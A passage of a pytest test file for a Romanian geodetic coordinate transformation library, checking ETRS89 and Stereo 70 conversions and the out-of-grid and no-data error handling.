(lat,lon, h) -> (N,E,Z)
Input of "etrs89_pnts" should transform to "st70_pnts" (elevation included)
"""
# arrannge
t = pytransdatro.TransRO()
sut = {}
# act
for k, v in etrs89_pnts.items():
sut[k] = t.etrs89_to_st70(v[0], v[1], v[2])
# assert
for k in sut:
assert math.isclose(sut[k][0], st70_pnts[k][0], abs_tol = coo_plan_tol)
assert math.isclose(sut[k][1], st70_pnts[k][1], abs_tol = coo_plan_tol)
assert math.isclose(sut[k][2], st70_pnts[k][2], abs_tol = coo_plan_tol)
@pytest.mark.parametrize("n", [213634.564, 224634.564, 774634.564, 785634.564])
@pytest.mark.parametrize("e", [109783.040, 120783.040, 879783.040, 890783.040])
def test_st70_to_etrs89_extent_inner_out_of_grid(n, e):
"""Test for the Stereo 70 to ETRS89 coordinate transformation with
coordinates out of the grid.
Input locations:
- grid extents nodes
- grid corner ± 1 x grid step
Should raise OutOfGridErr exception.
"""
# arrannge
t = pytransdatro.TransRO()
# act
with pytest.raises(pytransdatro.exceptions.OutOfGridErr):
t.st70_to_etrs89(n, e)
@pytest.mark.parametrize("n", [224634.565, 235634.564,763634.564, 774634.563])
@pytest.mark.parametrize("e", [120783.041, 131783.040, 868783.040, 879783.039])
def test_st70_to_etrs89_no_grid_inner_no_data(n, e):
"""Test for the Stereo 70 to ETRS89 coordinate transformation with
coordinates where grid has no data available.
Input locations:
- coordinates 1 mm away (towards center of the grid) from the grid
corner ± 1 x grid step
- grid corner ± 2 x grid step
Should raise NoDataGridErr exception.
"""
# arrannge
t = pytransdatro.TransRO()
# act
with pytest.raises(pytransdatro.exceptions.NoDataGridErr):
t.st70_to_etrs89(n, e)
@pytest.mark.parametrize(
'n, e', [(549364, 147553), (736151, 477652),
(549514, 763844), (252307, 720426)]
)
def test_st70_to_etrs89_just_out_ro_border_no_data(n, e):
"""Test for the Stereo 70 to ETRS89 coordinate transformation with
coordinates out of the grid. Grid extents provided as input.
Should raise OutOfGridErr exception
"""
# arrannge
t = pytransdatro.TransRO()
# act
with pytest.raises(pytransdatro.exceptions.NoDataGridErr):
t.st70_to_etrs89(n, e) | 2.46875 | 2 |